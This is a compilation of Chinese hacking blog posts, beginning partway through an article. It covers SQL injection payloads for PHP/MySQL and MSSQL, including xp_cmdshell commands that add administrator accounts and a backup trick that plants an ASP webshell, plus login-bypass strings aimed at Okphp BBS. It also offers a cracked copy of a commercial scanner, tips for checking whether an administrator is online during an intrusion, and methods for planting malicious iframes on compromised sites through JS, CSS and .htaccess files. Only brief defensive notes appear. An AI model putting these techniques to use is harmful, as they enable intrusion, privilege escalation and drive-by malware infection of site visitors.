不要笑,这是真的,我还靠这个进过几个大型网站.至于哪一些,不好讲出来,不过我们学校的网站,我就是靠这个进后台的(希望学校网络中心的看不到这篇文章,^_^).把前面那函数用上吧.不然你只有改人家的密码了哦!!!


差点忘了一点,在SQL注入的时候,PHP与ASP有所不同,mysql对sql语句的运用没有mssql灵活,因此,很多在mssql上可以用的查询语句在mysql数据库中都不能奏效了. 一般我们常见的注入语句像这样:aaa.php?id=a’ into outfile ‘pass.txt或是aaa.php?id=a’ into outfile ‘pass.txt’ /*再进一步可以改成:aaa.php?id=a’ or 1=1 union select id,name,password form users into outfile ‘c:/a.txt 中


这样可以将数据库数据导出为文件,然后可以查看.


或是这样:mode=’,user_level=’4


这个语句一般用在修改资料时,假设页面存在漏洞的话,就可以达到提升权限的做用.


其它的如’ OR 1=1 — 或者:1′ or 1=’1则跟asp差不多.这里不多讲了.在php里面,SQL注入看来还是漏洞之首啊,有太多的页面存在这个问题了.


其实大家可以看出来,上面那些分类归根结底只有一个原因:提交参数没过滤或是过滤不够严谨.黑客防线向来有攻有守.这里,就大致讲一下防范的方法吧.

 

首先,我个人认为最重要的一点是将magic_quotes_gpc高为ON,它的作用是将单引号,双引号,反斜线,和空字符转换为含有反斜线的字符,如 select * from admin where username=’$username’ and password=’$password’语句,攻击者想用1′ or 1=’1跳过验证,但是,那些字符串将被转换成这样:select * from admin where username=’a’ and password=’1\’ or 1=\’1’从而达到阻止注入的目的,事实也就是自动进行了addslashes()操作.再不行的话,自己定义函数处理吧.现在看来,那些搞PHP注入的人也比较郁闷,因为myslq4以下版本不支持子语句,而新版本的mysql又会将magic_quotes_gpc选项默认为开.


解决包含文件漏洞用的方法就是:要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定,建议设global_variables为off。如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的远程文件打开功能。修改php.ini文件:allow_url_fopen = Off(注:参见<<PHP安全问题:远程溢出、DoS、safe_mode绕过漏洞>>).

常用手工注入命令

1.判断是否有注入;and 1=1 ;and 1=2
 
2.初步判断是否是mssql ;and user>0
 
3.注入参数是字符’and [查询条件] and ”=’
 
4.搜索时没过滤参数的’and [查询条件] and ‘%25’=’
 
5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
 
6.猜数据库 ;and (select Count(*) from [数据库名])>0
 
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
 
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
 
9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
 
10.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER(‘sysadmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘serveradmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘setupadmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘securityadmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘diskadmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘bulkadmin’));–
;and 1=(select IS_MEMBER(‘db_owner’));–
 
11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;–
;exec master.dbo.sp_password null,username,password;–
;exec master.dbo.sp_addsrvrolemember sysadmin username;–
;exec master.dbo.xp_cmdshell ‘net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add’;–
;exec master.dbo.xp_cmdshell ‘net user username password /add’;–
;exec master.dbo.xp_cmdshell ‘net localgroup administrators username /add’;–
 
12.(1)遍历目录
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree ‘c:\’
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in(‘上步得到的paths’))>)
(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_availablemedia;– 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs ‘c:\’;– 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:\’;– 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell ‘type c:\web\index.asp’;– 查看文件的内容
 
13.mssql中的存储过程
xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Run’ 以多个记录集方式返回所有键值
xp_regread 根键,子键,键值名
;exec xp_regread
‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’CommonFilesDir’ 返回制定键的值
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’TestValueName’,’reg_sz’,’hello’ 写入注册表
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’TestValueName’ 删除某个值
xp_regdeletekey ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey’ 删除键,包括该键下所有值
 
14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values (”);
backup database model to disk=’c:\l.asp’;
 
15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()=’dbo’ 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库
 
16.简洁的webshell
use model
create table cmd(str image);
insert into cmd(str) values (”);
backup database model to disk=’g:\wwwtest\l.asp’;

Acunetix Web Vulnerability Scanner V5.1 破解版


 

信息来源:邪恶八进制信息安全团队(www.eviloctal.com

 

Acunetix Web Vulnerability Scanner V5.1


功能很好,很强大。就是操作界面比较复杂,需要时间摸索。

附件里是5.1版的破解文件,原版请到下面的地址去下载。
原版下载地址:http://www.skycn.com/soft/37545.html

下载好后,将破解文件放入安装文件同目录,破解后,输入任意注册码即可。经测试可以自动更新,大家爽吧!

 

 

 

下载地址:
破解补丁




Modified At 2008-06-01 02:30:03

php+mysql注射语句构造


 

 

作者:特洛伊剑客’s Blog


一.前言:

测试版本信息:Okphp BBS v1.3 开源版

由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困难,尤其是注射时语句的构造方面更是个难点,本文主要是借对Okphp BBS v1.3一些文件得简单分析,来谈谈php+mysql注射语句构造方式,希望本文对你有点帮助。
  声明:文章所有提到的”漏洞”,都没有经过测试,可能根本不存在,其实有没有漏洞并不重要,重要的是分析思路和语句构造。

 

二.”漏洞”分析:

1.admin/login.php注射导致绕过身份验证漏洞:

代码:

 

$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);
$password = md5($password);
$q = “select id,group_id from $user_table where username=’$username’ and password=’$password'”;
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);

$q = “select id,group_id from $user_table where username=’$username’ and password=’$password'”中
$username 和 $password 没过滤, 很容易就绕过。
对于select * from $user_table where username=’$username’ and password=’$password’这样的语句改造的方法有:

构造1(利用逻辑运算):$username=’ OR ‘a’=’a $password=’ OR ‘a’=’a

相当于sql语句:

select * from $user_table where username=” OR ‘a’=’a’ and password=” OR ‘a’=’a’
构造2(利用mysql里的注释语句# ,/* 把$password注释掉):$username=admin’#(或admin’/*)
即:

select * from $user_table where username=’admin’#’ and password=’$password'”
相当于:

select * from $user_table where username=’admin’
在admin/login.php中$q语句中的$password在查询前进行了md5加密所以不可以用构造1中的语句绕过。这里我们用构造

 

2:

select id,group_id from $user_table where username=’admin’#’ and password=’$password'”
相当于:

select id,group_id from $user_table where username=’admin’
只要存在用户名为admin的就成立,如果不知道用户名,只知道对应的id,
我们就可以这样构造:$username=’ OR id=1#
相当于:

select id,group_id from $user_table where username=” OR id=1# and password=’$password'(#后的被注释掉)
我们接着往下看代码:

if ($row[0]) {
// If not admin or super moderator
if ($username != “admin” && !eregi(“(^&#124;&)3($&#124;&)”,$row[1])) {
$login = 0;
}

else {
$login = 1;
}
}
// Fail to login—————
if (!$login) {
write_log(“Moderator login”,”0″,”password wrong”);
echo “<script>alert(‘login failed!’);history.go(-1);</script>”;
exit();
}
// Access ! ————-
else {
session_start();

最后简单通过一个$login来判断,我们只要ie提交直接提交$login=1 就可以绕过了 :)。

 

3.users/login.php注射导致绕过身份验证漏洞:
代码:

$md5password = md5($password);
$q = “select id,group_id,email from $user_table where username=’$username’ and password=’$md5password'”;
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);

$username没过滤利用同1里注释掉and password=’$md5password'”;就绕过啦。

3.admin\log\list.php存在任意删除日志记录漏洞。(ps:这个好象和php+mysql注射无关,随便提一下)
okphp的后台好象写得很马虎,所有文件都没有判断管理员是否已经登陆,以至于任意访问。我们看list.php的代码:

$arr = array(“del_log”,”log_id”,”del_id”);
get_r($arr);
//
if ($del_log) {
省略……..
if ($log_id) {
foreach ($log_id as $val) {
$q = “delete from $log_table where id=’$val'”;
$res = sql_query($q,$conn);
if ($res) {
$i++;
}
}
}
elseif ($del_id) {
$q = “delete from $log_table where id=’$del_id'”;
$res = sql_query($q,$conn);
}
$tpl->setVariable(“message”,”$i log deleted ok!”);
$tpl->setVariable(“action”,”index.php?action=list_log”);
}

代码就只简单的用get_r($arr);判断的提交的参数,我们只要提交相应的$del_log,$log_id,$del_id。就回删除成功。

 

4.多个文件对变量没有过滤导致sql注射漏洞。
  okphp的作者好象都不喜欢过滤:)。基本上所有的sql语句中的变量都是”赤裸裸”的。具体那些文件我就不列出来了,请自己看代码,我这里就用\forums\list_threads.php为例子简单谈一下。

看list_threads.php的代码:

 

$q = “select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id=’$forum_id'”;
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);

 

变量$forum_id没有过滤,因为mysql不支持子查询,我们可以利用union构造语句进行联合查询(要求MySQL版本在4.00以上)实现跨库操作,我们构造如下:

 

构造1:利用 select * FROM table INTO OUTFILE ‘/path/file.txt’(要求mysql有file权限,注意在win系统中要绝对路径,如:c://path//file.txt )。把所查询的内容输入到file.txt,然后我们可以通http://ip/path/file.txt来访问得到查询的结果。上面的我们可以这样构造$forum_id:

 

$forum_id=’ union select * from user_table into outfile ‘/path/file.txt’


以下:

$q = “select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id=’$forum_id’ union select * from user_table into outfile ‘/path/file.txt'”;


上面的办法要求比较苛刻,必须得到web的路径(一般可以通过提交错误的变量使mysql报错而得到),而且php的magic_gpc=on选项使注入中不能出现单引号。如果magic_gpc=on我们也可以绕过:

 

构造2:就象asp跨库查询一样,直接利用union select构造语句,使返回结果不同来猜解,这种方法可以绕过单引号(magic_gpc=on)继续注射,不过在php里这种注射相对困难,根据具体的代码而定。具体的语句构造请参考pinkeyes 的文章《php注入实例》。下面我就结合okphp给个利用”返回结果不同”注射的例子:(见漏洞5)。

5.admin/login.php和users/login.php通过sql语句构造可以猜解得到指定用户密码hash:(其实这个和漏洞1和2是同一个,这里单独拿出来,主要是说明语句构造的方法。)

 

问题代码同漏洞1。
语句的构造(ps:因为语句本身就是对用户库操作就没必要用union了):

$username=admin’ AND LENGTH(password)=6#
sql语句变成:

$q = “select id,group_id from $user_table where username=’admin’ AND LENGTH(password)=6#’ and password=’$password'”
相当于:

$q = “select id,group_id from $user_table where username=’admin’ AND LENGTH(password)=6′”
如果LENGTH(password)=6成立,则正常返回,如果不成立,mysql就会报错。

呵呵,这样我们就可以猜解用户admin密码hash了。如$username=admin’ ord(substring(password,1,1))=57#
可以猜用户的密码第一位的ascii码值…………。

 

三.后话:

  这篇文章是在网吧看代码写出来的,只是粗略的看了下代码,文章所提到的”漏洞”都没有经过测试。可能有的”漏洞”根本就不存在,也可能漏掉了不少东西,这些都不是很要紧,因为本文的重要目的是看php+mysql注射时的语句构造,通过本文,可以看出:虽然看起来php好象要比asp安全,不过一但变量没有过滤完全,php的注射要比asp注射更灵活,更多注射方法。 由于作者水平等原因,可能文章不少错误,还请多指点。




Modified At 2008-06-02 23:15:48

如何判定管理员是否在线

Inking注:我喜欢query user,人比较懒,什么方便用什么,而且自己做“坏事”时从来不小心的 ^o^
 
随着网络黑客工具的简单化和傻瓜化,越来越多的网络爱好者可以通过现成的攻击工具轻松的入侵主机,然而谁也不想在管理员的眼皮底下做入侵,所以在入侵成功以后,一个很重要的事情是:你能不能确认你的行为在别人的监视之下?所以我们首先要知道管理员是不是现在正在你入侵的主机上?
如何判定管理员在线,我们要知道的是管理员是通过什么方式管理主机的:是pcanywhere、vnc、DameWar、终端服务、ipc、telnet还是本地登陆···
一、对于用第三方的控屏工具(pcanywhere、vnc、DameWar等),你只要看相应端口有没有状态为”ESTABLISHED”的连接。一个netstat -an就可以知道,如果想查看与端口相关的进程,使用Fport.exe就可以了。比如我们在一台主机上使用netstat -an发现如下的信息:
Active Connections
Proto Local Address Foreign Address State
TCP lin:1755 lin:telnet ESTABLISHED
TCP lin:1756 lin:netbios-ssn ESTABLISHED
TCP lin:1758 202.103.243.105:http TIME_WAIT
TCP lin:1764 202.103.243.105:http TIME_WAIT
TCP lin:6129 lin:1751 ESTABLISHED
使用Fport.exe得到如下的信息:
Pid Process Port Proto Path
528 mysqld-nt -> 3306 TCP D:\mysql\bin\mysqld-nt.exe
1328 DWRCS -> 6129 TCP C:\WINNT\SYSTEM32\DWRCS.EXE ---这个是DameWare Mini Remote Control服务
8 System -> 138 UDP
248 lsass -> 500 UDP C:\WINNT\system32\lsass.exe
------从这个可以看出,管理员是通过DameWare Mini Remote Control来管理现在的主机,连接的端口是6129。同样如果管理员使用其他的控屏工具,比如pcanywhere、vnc我们也是可以通过netstat -an查看端口连接的情况。
 
  二、对于从本地或终端服务登陆的,看看有几个winlogon进程,我们可以使用的工具是PSTOOLS的PULIST.EXE,它能够查看本机的所用正在运行的进程。然后单凭有几个winlogon进程也很难判定在线的是不是管理员,因为一般用户和管理员都是通过图形界面登陆的,身份验证都是在GINA(GINA – Graphical Identification andAuthentication图形标识和身份验证)中进行,而GINA又和Winlogon进程紧密相关,所以查看有几个winlogon进程只能知道当前有几个用户登陆主机。这个办法也是给一个参考而已吧,给一个例子,这样应该好理解一点:
在主机上运行pulist.exe(至于如何才能在主机上运行pulist.exe,我想这个问题也不用说了吧),进程情况:
PID Path
0 [Idle Process]
8 [System]
160 \SystemRoot\System32\smss.exe
184 \??\C:\WINNT\system32\csrss.exe
208 \??\C:\WINNT\system32\winlogon.exe ----这个
680 C:\WINNT\System32\svchost.exe
404 C:\WINNT\Explorer.EXE
1088 \??\C:\WINNT\system32\csrss.exe
1084 \??\C:\WINNT\system32\winlogon.exe ----还有这个
在这个上面我们发现了有二个的winlogon.exe,就可以知道目前有2个用户通过本地或终端服务登陆主机,结合上面说的判定方法,使用netstat 查看TCP端口连接:
Num LocalIP Port RemoteIP PORT Status
10 192.168.0.1 3389 192.168.2.1 1071 Established ----终端的
可以看出使用的是终端3389连接。
 
  三、对于用telnet登陆的,telnet的登陆不是通过winlogon来管理的,还是看相应端口的连接吧,我们知道的是一般情况下telnet使用23端口连接,通过netstat -an可能很清楚的看出23端口有没有打开:
C:\>netstat -an
Active Connections
Proto Local Address Foreign Address State
TCP 127.0.0.1:23 127.0.0.1:1030 ESTABLISHED
TCP 127.0.0.1:1030 127.0.0.1:23 ESTABLISHED
我们也可以通过上面的方法查看相应的进程,比如我们使用FPORT.EXE是得到如下的信息:
E:\HACK>fport
FPort v2.0 – TCP/IP Process to Port Mapper
Copyright 2000 by Foundstone, Inc.
http://www.foundstone.com
Pid Process Port Proto Path
660 inetinfo -> 21 TCP C:\WINNT\System32\inetsrv\inetinfo.exe
1112 tlntsvr -> 23 TCP C:\WINNT\system32\tlntsvr.exe
660 inetinfo -> 80 TCP C:\WINNT\System32\inetsrv\inetinfo.exe
416 svchost -> 135 TCP C:\WINNT\system32\svchost.exe
660 inetinfo -> 443 TCP C:\WINNT\System32\inetsrv\inetinfo.exe
8 System -> 1028 TCP
408 telnet -> 1030 TCP C:\WINNT\system32\telnet.exe
从上面的信息可以知道23端口对应的正是telnet服务tlntsvr.exe。
 
  四、通过IPC$管道进行管理,这个可以通过WINDOWS NT系统内置的工具NET SESSION,它的作用是列出或断开连接本地计算机和与它连接的客户之间的会话。
下面给出一个结果:
E:\HACK>net session
计算机 用户名 客户类型 打开空闲时间
——————————————————————————-
\\LIN LINYUN Windows 2000 2195 0 00:08:47
命令成功完成。
从这个上面我们就可以看出当前有一个用户名为LIYUN的用户登陆主机LIN。在这里给大家推荐一个比较好的工具——PSTOOLS里面的psloggedon.exe,它不仅能列出使用IPC$登陆的用户,而且能列出本地登陆的用户。
E:\Pstools\Pstools>psloggedon.exe
PsLoggedOn v1.21 – Logon Session Displayer
Copyright (C) 1999-2000 Mark Russinovich
SysInternals – _blank>www.sysinternals.com
Users logged on locally:
2004-*-* 14:33:38 LIN\Administrator -----这个是本地登陆的用户administrator
Users logged on via resource shares:
2004-*-* 14:41:04 LIN\LINYUN -----这个是使用IPC$连接的用户LINYUN
 
  如何判定管理员是否在线是一个比较深入的话题,上面说的仅仅是提供一个思路,当然了,如果管理员登陆了,却锁定了主机,或者正在运行屏幕保护程序,这一些就都不好说了!有矛必有盾,我们既然能通过各种的方式判定管理员是不是在线,同样,管理员也能通过这样的途径知道自己是否被入侵,从而尽快的查出入侵者,所以请广大的网络爱好者不要以身试法,入侵国内主机。

突破权限继续挂马

文章作者:Inking
个人主页:http://www.inkings.cn
 
        写这篇文章的目的主要是因为自己在为刚开的博客刷点流量时遇到了点困难,所以就花了点时间想了下这个问题,既然想了下,所以就干脆梳理出来写成文章,也许对刚刚接触这块的同志们会起到点作用吧。
        首先讲一下挂马要挂到哪里。讲到挂马,很多人会不由自主的想到“首页挂马”,一想到首页就想到index.*文件了,当然这不失为一个好办法,首页的浏览量通常是最大的,但是这绝对不是一个最优的办法。也有的人说干脆批量挂马,针对这种思想我无任何话说。我们仔细想一想,哪个东西在网站出现的概率是最大的,呵呵当然是header了(网站的最顶部,通常用于放置logo等),其次便是foot和sidebar了,按照HTML的执行顺序(从上到下),最好的办法就是挂在header里面了,所以挂马时先针对网站的特点,找一个最好的对策来进行挂马。此外像global.*、config.*这类网页文件也是一个好地方,被其他网页调用的概率极大。
 
        解决了挂马地方的问题后我们要着重讨论如何针对管理员设置的权限进行挂马,这些方法很多人应该都在用,我只是针对自己所学的知识进行梳理。一般来说挂马的方式有两种,一种是直接往要挂的网页文件里插入一个iframe标签,还有一种是用js的document.write写入一个iframe标签。我们首先讨论js挂马。js挂马最好的一个优点是隐蔽,因为管理员无法直接通过搜索找到iframe标签,而且我们可以针对插入的js代码进行加密,这样隐藏的效率就更高了。在这篇文章里我们并不是利用js的隐蔽性,而是它的自由性——js可以从任何一个可访问的网站被调用。在我昨天遇到的情况里就是利用这个办法。我想去挂对方的index.php和header.php两个文件,但是发现所以的php脚本文件都被设置了不可改权限,所以直接想改写该文件是不可能了,我只能通过其调用的文件进行挂马。通过阅读源代码,发现程序员调用了很多的js文件,所以我便一个个去找,然后找到两个没有被限定权限的js文件,其中一个文件是站长流量统计的,由于统计代码在整站都是会被调用的,结果改写了仅仅一个js文件,整个网站的所有网页都被挂上去了,而且其它子域的网页也被挂上,当然这几个域的网页是不在这台服务器上的,js的优点瞬间体现了出来。这也是利用了管理员的疏忽——只设定php文件的权限。
 
        联想到我的实例,大家很容易想到类似的方式——css文件。css文件被调用的概率应该说比js还大,一个网站的模型一般只有一个,那么肯定有一个主要的css文件了,而css文件又具有执行js代码的能力,而且这种文件的权限更难被管理员关注到,隐蔽性也非常之好,所以其可行性最高了。css挂马的代码为:
 
body{background:url(javascript:document.write(“<iframe></iframe>”))}
 
        代码可以有多种形式,具体大家自己去学习了
 
        但是如果真个目录都被限制了呢,但是我们想到有一个目录一般来说是不会被限制写入权限的——img目录。假如说这个目录里面有flash文件的话,而且这个flash文件又是网站的顶部显示部分,那么我们便可以大喜了。我们可以将flash文件下载下来,然后编辑里面的代码,写入我们的挂马代码,然后替换掉原来的flash文件就行了。具体如何写代码就不讲了。再如果这个网站是一个图片类网站,我们找到某张被下载概率最大的图片,编辑它,插入我们的js代码(当然不是随便插代码就行的,随便插的话图片会无法显示),然后等用户在其它窗口打开图片时我们的js代码就执行了。但是这样的方式并不是很好,一个是窗口存活的时间短,还没等木马被下载窗口已经关闭了,还有一个是被打开的概率不是很大,太被动了。这只是一直思路而已
 
以上都是js或者类似js挂马的方式,大家还可以针对实际情况进行发散。下面是服务端脚本挂马了。最简单的就是看要挂的文件include了哪几个脚本文件,假如说被inlude的文件没有被设权的话可以插入我们的代码,比如PHP的话这样写:
echo “<iframe ></iframe>”;
 
        一般来说像global、config这类的文件被其它网页include的概率大,但是像挂这类文件你需要十分小心,因为如果该文件或者include它的文件里面有header或者session操作的话很可能会导致错误,结果被管理员发现了。
 
        但是如果php、asp这类文件像我遇到的情况被设置权限了呢?在php里有一个特性,.htaccess会覆盖apache的php.ini的设置,但是这个需要打开apache的AllowOverride All功能,但是这样对于我们来说太烦了。我们只要在这个网站里面找一下有没有.htaccess文件,如果有的话而且文件夹允许我们上传新的文件,那么我们很可能会成功了。具体的利用如下:
 
在我们电脑上添加一个.htaccess文件(需要dos下对txt文件重命名)
然后用记事本编辑它,写入如下代码:
php_value auto_prepend_file “要include的文件名”
 
然后将这个文件和”要include的文件名”放到相应的目录下,这样该目录以及子目录都被会include该文件。在”要include的文件名”里可以这样写
 
<?
ob_start();//这句话千万不能少,要不很可能会因为head和session而导致错误
echo “<iframe></iframe>”;
?>
 
        同样在asp和iis下也有类似方法,参见我的博客:http://www.inkings.cn/blog/?p=106
 
        还有一种方法是直接通过数据库insert或者update一个框架。既然我们一般的入侵方式都是从数据库开始的,这种方式当然是很好的,就算管理员再怎么严格的设定硬盘权限,他也挡不住数据库里的内容。我们可以到首页看一下,找到一篇文章ID,然后update进去一个框架,具体如何update那是你自己的事情了呵呵。